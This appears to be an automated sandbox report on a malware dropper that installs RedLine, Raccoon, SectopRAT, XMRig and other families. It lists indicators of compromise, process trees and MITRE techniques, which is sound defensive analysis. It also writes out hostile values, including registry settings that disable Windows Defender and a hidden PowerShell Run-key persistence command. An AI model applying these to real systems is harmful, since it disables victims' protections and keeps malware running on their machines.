amadey | 2d3719f1cec86f82415c1ddd42b24b4411608b739d74aabf96fb671493e6541e

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

Processes:

InstallSetup5.exeAppLaunch.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	InstallSetup5.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	AppLaunch.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	AppLaunch.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	AppLaunch.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	AppLaunch.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	InstallSetup5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	InstallSetup5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	AppLaunch.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	AppLaunch.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	InstallSetup5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	InstallSetup5.exe

Raccoon
Raccoon is an infostealer written in C++ and first seen in 2019.
stealer raccoon

Raccoon Stealer payload 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/6752-582-0x0000000000400000-0x000000000041B000-memory.dmp	family_raccoon
behavioral1/memory/6752-588-0x0000000000400000-0x000000000041B000-memory.dmp	family_raccoon
behavioral1/memory/6752-603-0x0000000000400000-0x000000000041B000-memory.dmp	family_raccoon

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 10 IoCs

Processes:

resource	yara_rule
behavioral1/memory/4068-42-0x0000000000400000-0x000000000043E000-memory.dmp	family_redline
C:\Users\Admin\AppData\Local\Temp\4FB4.exe	family_redline
C:\Users\Admin\AppData\Local\Temp\4FB4.exe	family_redline
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2iI657iQ.exe	family_redline
behavioral1/memory/1268-143-0x0000000000550000-0x00000000005AA000-memory.dmp	family_redline
behavioral1/memory/2764-148-0x0000000000060000-0x000000000009E000-memory.dmp	family_redline
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2iI657iQ.exe	family_redline
behavioral1/memory/1268-158-0x0000000000400000-0x0000000000480000-memory.dmp	family_redline
behavioral1/memory/6820-390-0x0000000000760000-0x000000000077E000-memory.dmp	family_redline
behavioral1/memory/6976-417-0x00000000001C0000-0x00000000001FE000-memory.dmp	family_redline

SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/6820-390-0x0000000000760000-0x000000000077E000-memory.dmp	family_sectoprat

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 1 IoCs

miner

Processes:

resource	yara_rule
behavioral1/memory/5268-2039-0x00007FF712BE0000-0x00007FF713181000-memory.dmp	xmrig

Downloads MZ/PE file
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Windows Service
T1543.003

Processes:

netsh.exe

pid process

6816 netsh.exe
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

pid	process
6816	netsh.exe

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

518B.exeexplothe.exe7C18.exe9C16.exekos4.exeAEF5.exeUtsysc.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\Control Panel\International\Geo\Nation	518B.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\Control Panel\International\Geo\Nation	explothe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\Control Panel\International\Geo\Nation	7C18.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\Control Panel\International\Geo\Nation	9C16.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\Control Panel\International\Geo\Nation	kos4.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\Control Panel\International\Geo\Nation	AEF5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\Control Panel\International\Geo\Nation	Utsysc.exe

Executes dropped EXE 37 IoCs

Processes:

Ga9mv64.exeBZ7rN42.exe1ax78bl6.exe2Cy3011.exe3cu29Fh.exe4ut436jE.exe4D02.exe4DCE.exeIN8gZ5gn.exexU8mT4YJ.exe4FB4.exeFb6jM0Il.exenk2Rg5kr.exeInstallSetup5.exe518B.exe1dI10GX0.exeBroom.exeexplothe.exe2iI657iQ.exe7C18.exe7EF7.exeupdater.exe31839b57a4f11171d6abc8bbc4451ee4.exekos4.exe92BF.exelatestX.exe9C16.exeA0CA.exeA763.exeLzmwAqmV.exeAEF5.exeLzmwAqmV.tmpMediaDevice.exeUtsysc.exeMediaDevice.exe

pid	process
4552	Ga9mv64.exe
1512	BZ7rN42.exe
528	1ax78bl6.exe
2656	2Cy3011.exe
2788	3cu29Fh.exe
572	4ut436jE.exe
3232	4D02.exe
3480	4DCE.exe
868	IN8gZ5gn.exe
2368	xU8mT4YJ.exe
1596	4FB4.exe
400	Fb6jM0Il.exe
4984	nk2Rg5kr.exe
3372	InstallSetup5.exe
888	518B.exe
1800	1dI10GX0.exe
1268	Broom.exe
2108	explothe.exe
2764	2iI657iQ.exe
5900	7C18.exe
6124	7EF7.exe
3372	InstallSetup5.exe
5268	updater.exe
5216	31839b57a4f11171d6abc8bbc4451ee4.exe
1268	Broom.exe
6240	kos4.exe
6320	92BF.exe
6376	latestX.exe
6756	9C16.exe
6820	A0CA.exe
6976	A763.exe
7108	LzmwAqmV.exe
7144	AEF5.exe
6196	LzmwAqmV.tmp
1964	MediaDevice.exe
5916	Utsysc.exe
5560	MediaDevice.exe

Loads dropped DLL 8 IoCs

Processes:

Broom.exeLzmwAqmV.tmpA763.exe92BF.exe

pid process

1268 Broom.exe
1268 Broom.exe
6196 LzmwAqmV.tmp
6196 LzmwAqmV.tmp
6196 LzmwAqmV.tmp
6976 A763.exe
6976 A763.exe
6320 92BF.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
1268	Broom.exe
1268	Broom.exe
6196	LzmwAqmV.tmp
6196	LzmwAqmV.tmp
6196	LzmwAqmV.tmp
6976	A763.exe
6976	A763.exe
6320	92BF.exe

Windows security modification 2 TTPs 1 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

Processes:

InstallSetup5.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	InstallSetup5.exe

Accesses Microsoft Outlook profiles 1 TTPs 5 IoCs

collection

Email Collection

T1114

Processes:

9C16.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	9C16.exe
Key opened	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	9C16.exe
Key opened	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	9C16.exe
Key opened	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\SOFTWARE\Microsoft\Office\12.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	9C16.exe
Key opened	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\SOFTWARE\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	9C16.exe

Adds Run key to start application 2 TTPs 9 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

Processes:

xU8mT4YJ.exeGa9mv64.exe4D02.exeIN8gZ5gn.exenk2Rg5kr.exe7EF7.exeNEAS.76bd50cd806c39e06547e693004f62b0.exeBZ7rN42.exeFb6jM0Il.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\""	xU8mT4YJ.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	Ga9mv64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	4D02.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	IN8gZ5gn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP005.TMP\\\""	nk2Rg5kr.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\socks5 = "powershell.exe -windowstyle hidden -Command \"& 'C:\\Users\\Admin\\AppData\\Local\\Temp\\7EF7.exe'\""	7EF7.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	NEAS.76bd50cd806c39e06547e693004f62b0.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	BZ7rN42.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\""	Fb6jM0Il.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

189 api.ipify.org
191 api.ipify.org
Detected potential entity reuse from brand paypal.
phishing paypal

flow	ioc
189	api.ipify.org
191	api.ipify.org

Suspicious use of SetThreadContext 5 IoCs

Processes:

1ax78bl6.exe2Cy3011.exe4ut436jE.exe1dI10GX0.exe92BF.exe

description	pid	process	target process
PID 528 set thread context of 2400	528	1ax78bl6.exe	AppLaunch.exe
PID 2656 set thread context of 1844	2656	2Cy3011.exe	AppLaunch.exe
PID 572 set thread context of 4068	572	4ut436jE.exe	AppLaunch.exe
PID 1800 set thread context of 2860	1800	1dI10GX0.exe	AppLaunch.exe
PID 6320 set thread context of 6752	6320	92BF.exe	cacls.exe

Drops file in Program Files directory 18 IoCs

Processes:

LzmwAqmV.tmp

description	ioc	process
File created	C:\Program Files (x86)\Media Device 11.1.0.1\is-CV715.tmp	LzmwAqmV.tmp
File created	C:\Program Files (x86)\Media Device 11.1.0.1\is-9HEMT.tmp	LzmwAqmV.tmp
File created	C:\Program Files (x86)\Media Device 11.1.0.1\is-6IC1R.tmp	LzmwAqmV.tmp
File created	C:\Program Files (x86)\Media Device 11.1.0.1\is-OPDKB.tmp	LzmwAqmV.tmp
File created	C:\Program Files (x86)\Media Device 11.1.0.1\is-KJ79F.tmp	LzmwAqmV.tmp
File created	C:\Program Files (x86)\Media Device 11.1.0.1\is-EB2QA.tmp	LzmwAqmV.tmp
File created	C:\Program Files (x86)\Media Device 11.1.0.1\is-T7A6L.tmp	LzmwAqmV.tmp
File created	C:\Program Files (x86)\Media Device 11.1.0.1\is-56765.tmp	LzmwAqmV.tmp
File created	C:\Program Files (x86)\Media Device 11.1.0.1\XML\Styles\is-H8S0U.tmp	LzmwAqmV.tmp
File opened for modification	C:\Program Files (x86)\Media Device 11.1.0.1\unins000.dat	LzmwAqmV.tmp
File opened for modification	C:\Program Files (x86)\Media Device 11.1.0.1\MediaDevice.exe	LzmwAqmV.tmp
File created	C:\Program Files (x86)\Media Device 11.1.0.1\is-59KPR.tmp	LzmwAqmV.tmp
File created	C:\Program Files (x86)\Media Device 11.1.0.1\is-G5CJJ.tmp	LzmwAqmV.tmp
File created	C:\Program Files (x86)\Media Device 11.1.0.1\is-2E9I6.tmp	LzmwAqmV.tmp
File created	C:\Program Files (x86)\Media Device 11.1.0.1\XML\Styles\is-77HDB.tmp	LzmwAqmV.tmp
File created	C:\Program Files (x86)\Media Device 11.1.0.1\unins000.dat	LzmwAqmV.tmp
File created	C:\Program Files (x86)\Media Device 11.1.0.1\is-S1BDT.tmp	LzmwAqmV.tmp
File created	C:\Program Files (x86)\Media Device 11.1.0.1\XML\Styles\is-02H44.tmp	LzmwAqmV.tmp

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

2756 sc.exe
948 sc.exe
4556 sc.exe
6052 sc.exe
5404 sc.exe
6972 sc.exe
5008 sc.exe
2296 sc.exe
3764 sc.exe
6948 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
2756	sc.exe
948	sc.exe
4556	sc.exe
6052	sc.exe
5404	sc.exe
6972	sc.exe
5008	sc.exe
2296	sc.exe
3764	sc.exe
6948	sc.exe

Program crash 9 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
3044	528	WerFault.exe	1ax78bl6.exe
3116	2656	WerFault.exe	2Cy3011.exe
1836	1844	WerFault.exe	AppLaunch.exe
4644	572	WerFault.exe	4ut436jE.exe
2144	2860	WerFault.exe	AppLaunch.exe
4724	1268	WerFault.exe	540D.exe
5608	6976	WerFault.exe	A763.exe
6444	6752	WerFault.exe	RegAsm.exe
6652	6920	WerFault.exe	31839b57a4f11171d6abc8bbc4451ee4.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

3cu29Fh.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3cu29Fh.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3cu29Fh.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3cu29Fh.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

4492 schtasks.exe
184 schtasks.exe
1916 schtasks.exe

pid	process
4492	schtasks.exe
184	schtasks.exe
1916	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

Processes:

msedge.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

AppLaunch.exe3cu29Fh.exe

pid	process
2400	AppLaunch.exe
2400	AppLaunch.exe
2788	3cu29Fh.exe
2788	3cu29Fh.exe
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300
3300

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

3300
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

3cu29Fh.exe

pid process

2788 3cu29Fh.exe

pid	process
3300

pid	process
2788	3cu29Fh.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 11 IoCs

Processes:

msedge.exe

pid	process
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

AppLaunch.exeInstallSetup5.exekos4.exeA0CA.exe

description	pid	process
Token: SeDebugPrivilege	2400	AppLaunch.exe
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeDebugPrivilege	3372	InstallSetup5.exe
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeDebugPrivilege	6240	kos4.exe
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300
Token: SeDebugPrivilege	6820	A0CA.exe
Token: SeShutdownPrivilege	3300
Token: SeCreatePagefilePrivilege	3300

Suspicious use of FindShellTrayWindow 27 IoCs

Processes:

msedge.exeAEF5.exeLzmwAqmV.tmp

pid	process
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
7144	AEF5.exe
6196	LzmwAqmV.tmp

Suspicious use of SendNotifyMessage 24 IoCs

Processes:

msedge.exe

pid	process
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe
3552	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Broom.exe

pid process

1268 Broom.exe

pid	process
1268	Broom.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

NEAS.76bd50cd806c39e06547e693004f62b0.exeGa9mv64.exeBZ7rN42.exe1ax78bl6.exe2Cy3011.exe4ut436jE.exe4D02.exeIN8gZ5gn.exexU8mT4YJ.exe

description	pid	process	target process
PID 224 wrote to memory of 4552	224	NEAS.76bd50cd806c39e06547e693004f62b0.exe	Ga9mv64.exe
PID 224 wrote to memory of 4552	224	NEAS.76bd50cd806c39e06547e693004f62b0.exe	Ga9mv64.exe
PID 224 wrote to memory of 4552	224	NEAS.76bd50cd806c39e06547e693004f62b0.exe	Ga9mv64.exe
PID 4552 wrote to memory of 1512	4552	Ga9mv64.exe	BZ7rN42.exe
PID 4552 wrote to memory of 1512	4552	Ga9mv64.exe	BZ7rN42.exe
PID 4552 wrote to memory of 1512	4552	Ga9mv64.exe	BZ7rN42.exe
PID 1512 wrote to memory of 528	1512	BZ7rN42.exe	1ax78bl6.exe
PID 1512 wrote to memory of 528	1512	BZ7rN42.exe	1ax78bl6.exe
PID 1512 wrote to memory of 528	1512	BZ7rN42.exe	1ax78bl6.exe
PID 528 wrote to memory of 2400	528	1ax78bl6.exe	AppLaunch.exe
PID 528 wrote to memory of 2400	528	1ax78bl6.exe	AppLaunch.exe
PID 528 wrote to memory of 2400	528	1ax78bl6.exe	AppLaunch.exe
PID 528 wrote to memory of 2400	528	1ax78bl6.exe	AppLaunch.exe
PID 528 wrote to memory of 2400	528	1ax78bl6.exe	AppLaunch.exe
PID 528 wrote to memory of 2400	528	1ax78bl6.exe	AppLaunch.exe
PID 528 wrote to memory of 2400	528	1ax78bl6.exe	AppLaunch.exe
PID 528 wrote to memory of 2400	528	1ax78bl6.exe	AppLaunch.exe
PID 1512 wrote to memory of 2656	1512	BZ7rN42.exe	2Cy3011.exe
PID 1512 wrote to memory of 2656	1512	BZ7rN42.exe	2Cy3011.exe
PID 1512 wrote to memory of 2656	1512	BZ7rN42.exe	2Cy3011.exe
PID 2656 wrote to memory of 1844	2656	2Cy3011.exe	AppLaunch.exe
PID 2656 wrote to memory of 1844	2656	2Cy3011.exe	AppLaunch.exe
PID 2656 wrote to memory of 1844	2656	2Cy3011.exe	AppLaunch.exe
PID 2656 wrote to memory of 1844	2656	2Cy3011.exe	AppLaunch.exe
PID 2656 wrote to memory of 1844	2656	2Cy3011.exe	AppLaunch.exe
PID 2656 wrote to memory of 1844	2656	2Cy3011.exe	AppLaunch.exe
PID 2656 wrote to memory of 1844	2656	2Cy3011.exe	AppLaunch.exe
PID 2656 wrote to memory of 1844	2656	2Cy3011.exe	AppLaunch.exe
PID 2656 wrote to memory of 1844	2656	2Cy3011.exe	AppLaunch.exe
PID 2656 wrote to memory of 1844	2656	2Cy3011.exe	AppLaunch.exe
PID 4552 wrote to memory of 2788	4552	Ga9mv64.exe	3cu29Fh.exe
PID 4552 wrote to memory of 2788	4552	Ga9mv64.exe	3cu29Fh.exe
PID 4552 wrote to memory of 2788	4552	Ga9mv64.exe	3cu29Fh.exe
PID 224 wrote to memory of 572	224	NEAS.76bd50cd806c39e06547e693004f62b0.exe	4ut436jE.exe
PID 224 wrote to memory of 572	224	NEAS.76bd50cd806c39e06547e693004f62b0.exe	4ut436jE.exe
PID 224 wrote to memory of 572	224	NEAS.76bd50cd806c39e06547e693004f62b0.exe	4ut436jE.exe
PID 572 wrote to memory of 4068	572	4ut436jE.exe	AppLaunch.exe
PID 572 wrote to memory of 4068	572	4ut436jE.exe	AppLaunch.exe
PID 572 wrote to memory of 4068	572	4ut436jE.exe	AppLaunch.exe
PID 572 wrote to memory of 4068	572	4ut436jE.exe	AppLaunch.exe
PID 572 wrote to memory of 4068	572	4ut436jE.exe	AppLaunch.exe
PID 572 wrote to memory of 4068	572	4ut436jE.exe	AppLaunch.exe
PID 572 wrote to memory of 4068	572	4ut436jE.exe	AppLaunch.exe
PID 572 wrote to memory of 4068	572	4ut436jE.exe	AppLaunch.exe
PID 3300 wrote to memory of 3232	3300		4D02.exe
PID 3300 wrote to memory of 3232	3300		4D02.exe
PID 3300 wrote to memory of 3232	3300		4D02.exe
PID 3300 wrote to memory of 3480	3300		4DCE.exe
PID 3300 wrote to memory of 3480	3300		4DCE.exe
PID 3300 wrote to memory of 3480	3300		4DCE.exe
PID 3232 wrote to memory of 868	3232	4D02.exe	IN8gZ5gn.exe
PID 3232 wrote to memory of 868	3232	4D02.exe	IN8gZ5gn.exe
PID 3232 wrote to memory of 868	3232	4D02.exe	IN8gZ5gn.exe
PID 3300 wrote to memory of 1232	3300		cmd.exe
PID 3300 wrote to memory of 1232	3300		cmd.exe
PID 868 wrote to memory of 2368	868	IN8gZ5gn.exe	xU8mT4YJ.exe
PID 868 wrote to memory of 2368	868	IN8gZ5gn.exe	xU8mT4YJ.exe
PID 868 wrote to memory of 2368	868	IN8gZ5gn.exe	xU8mT4YJ.exe
PID 3300 wrote to memory of 1596	3300		4FB4.exe
PID 3300 wrote to memory of 1596	3300		4FB4.exe
PID 3300 wrote to memory of 1596	3300		4FB4.exe
PID 2368 wrote to memory of 400	2368	xU8mT4YJ.exe	Fb6jM0Il.exe
PID 2368 wrote to memory of 400	2368	xU8mT4YJ.exe	Fb6jM0Il.exe
PID 2368 wrote to memory of 400	2368	xU8mT4YJ.exe	Fb6jM0Il.exe

outlook_office_path 1 IoCs

Processes:

9C16.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	9C16.exe

outlook_win_path 1 IoCs

Processes:

9C16.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	9C16.exe

C:\Users\Admin\AppData\Local\Temp\NEAS.76bd50cd806c39e06547e693004f62b0.exe
"C:\Users\Admin\AppData\Local\Temp\NEAS.76bd50cd806c39e06547e693004f62b0.exe"
1⤵
- DcRat
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:224

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ga9mv64.exe
